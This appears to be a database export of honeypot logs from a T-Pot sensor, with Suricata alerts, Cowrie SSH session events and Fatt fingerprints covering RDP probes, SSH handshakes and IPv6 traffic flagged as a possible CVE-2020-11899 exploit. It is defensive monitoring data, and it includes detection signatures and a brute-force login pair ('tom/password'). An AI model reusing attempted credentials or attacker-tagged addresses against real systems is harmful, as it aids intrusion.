30335	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:34:19.859087+03	2021-09-20 14:45:02.869142+03	{"_id": "4Qb8AnwBvYTbRNuESTv5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:19.045349+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1850301736530213, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63872, "dest_port": 3389, "timestamp": "2021-09-20T11:34:19.859087Z", "@timestamp": "2021-09-20T11:34:19.859Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30336	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:34:23.587012+03	2021-09-20 14:45:02.871143+03	{"_id": "7Ab8AnwBvYTbRNuEVTuz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:34:23.027665+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 880094394412049, "payload": "AAADzAYUMGLG0eXvIGYSepqJWyCX2AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54710, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:34:23.587012Z", "@timestamp": "2021-09-20T11:34:23.587Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......0b.... f.z..[ .....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30337	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:34:19.531538+03	2021-09-20 14:45:02.872145+03	{"_id": "2wb8AnwBvYTbRNuERjsR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:19.045349+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1850301736530213, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 63872, "timestamp": "2021-09-20T11:34:19.531538Z", "@timestamp": "2021-09-20T11:34:19.531Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30338	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:34:23.305123+03	2021-09-20 14:45:02.874181+03	{"_id": "6Ab8AnwBvYTbRNuEVDsI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:54710 (192.168.176.2:22) [session: a7f26f833884]", "session": "a7f26f833884", "@version": "1", "protocol": "ssh", "src_port": 54710, "dest_port": 22, "timestamp": "2021-09-20T11:34:23.305123Z", "@timestamp": "2021-09-20T11:34:23.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30339	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:34:23.312484+03	2021-09-20 14:45:02.875173+03	{"_id": "6Qb8AnwBvYTbRNuEVDsI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a7f26f833884", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:34:23.312484Z", "@timestamp": "2021-09-20T11:34:23.312Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30340	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:34:23.583284+03	2021-09-20 14:45:02.877175+03	{"_id": "6wb8AnwBvYTbRNuEVTuz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 880094394412049, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54710, "dest_port": 22, "timestamp": "2021-09-20T11:34:23.583284Z", "@timestamp": "2021-09-20T11:34:23.583Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30341	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:34:24.020679+03	2021-09-20 14:45:02.878142+03	{"_id": "8gb8AnwBvYTbRNuEWTuc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:24.020679+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557346664647, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:24.020679Z", "@timestamp": "2021-09-20T11:34:24.020Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30342	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 14:34:24.745775+03	2021-09-20 14:45:02.879173+03	{"_id": "8wb8AnwBvYTbRNuEWTuc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:24.745775+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1298720561848623, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:34:24.745775Z", "@timestamp": "2021-09-20T11:34:24.745Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
30343	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:34:24.755868+03	2021-09-20 14:45:02.880173+03	{"_id": "-Ab8AnwBvYTbRNuEWzvZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.failed", "message": "login attempt [tom/password] failed", "session": "a7f26f833884", "@version": "1", "password": "password", "username": "tom", "timestamp": "2021-09-20T11:34:24.755868Z", "@timestamp": "2021-09-20T11:34:24.755Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30344	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:34:26.040256+03	2021-09-20 14:45:02.882172+03	{"_id": "-Qb8AnwBvYTbRNuEXzvC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a7f26f833884", "@version": "1", "duration": 2.7325150966644287, "timestamp": "2021-09-20T11:34:26.040256Z", "@timestamp": "2021-09-20T11:34:26.040Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30345	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:28.690475+03	2021-09-20 14:45:02.883182+03	{"_id": "-wb8AnwBvYTbRNuEaTs_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.690475+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 157}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0002", "flow_id": 2173156576233771, "payload": "AX0AjQAIAAIAAAABAA4AAQABKNeNKuj0CO/3CQADAAwH6PQIAAAAAAAAAAAAJwARAA9ERVNLVE9QLTBWUUQ2MUIAEAAOAAABNwAITVNGVCA1LjAABgAIABEAFwAYACc=", "@version": "1", "in_iface": "enp5s0", "src_port": 546, "app_proto": "failed", "dest_port": 547, "timestamp": "2021-09-20T11:34:28.690475Z", "@timestamp": "2021-09-20T11:34:28.690Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".}................(..*.......................'....DESKTOP-0VQD61B.......7..MSFT 5.0...........'"}}	1	\N	\N	alert	\N	\N
30346	94.232.41.165	109.199.241.180	Fatt	2021-09-20 14:34:18.696419+03	2021-09-20 14:45:02.885173+03	{"_id": "0gb8AnwBvYTbRNuEQzs5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 45562, "dest_port": 3389, "timestamp": "2021-09-20T11:34:18.696419", "@timestamp": "2021-09-20T11:34:18.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
30347	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:34:19.859087+03	2021-09-20 14:45:02.88618+03	{"_id": "4gb8AnwBvYTbRNuESTv5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:19.045349+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1850301736530213, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63872, "dest_port": 3389, "timestamp": "2021-09-20T11:34:19.859087Z", "@timestamp": "2021-09-20T11:34:19.859Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30348	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:34:23.583454+03	2021-09-20 14:45:02.887143+03	{"_id": "7Qb8AnwBvYTbRNuEVjvE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54710, "timestamp": "2021-09-20T11:34:23.583454", "@timestamp": "2021-09-20T11:34:23.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30359	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:32.415293+03	2021-09-20 14:45:02.902142+03	{"_id": "Lwb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:32.415293Z", "@timestamp": "2021-09-20T11:34:32.415Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30349	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:34:24.020679+03	2021-09-20 14:45:02.889173+03	{"_id": "9Ab8AnwBvYTbRNuEWTuc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:24.020679+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557346664647, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:24.020679Z", "@timestamp": "2021-09-20T11:34:24.020Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30350	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:34:24.020047+03	2021-09-20 14:45:02.890172+03	{"_id": "9gb8AnwBvYTbRNuEWTud", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:24.020047+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ffeb:5c2d", "flow_id": 1466887858835023, "payload": "AAAAAP6AAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:34:24.020047Z", "@timestamp": "2021-09-20T11:34:24.020Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............"}}	1	\N	\N	alert	\N	\N
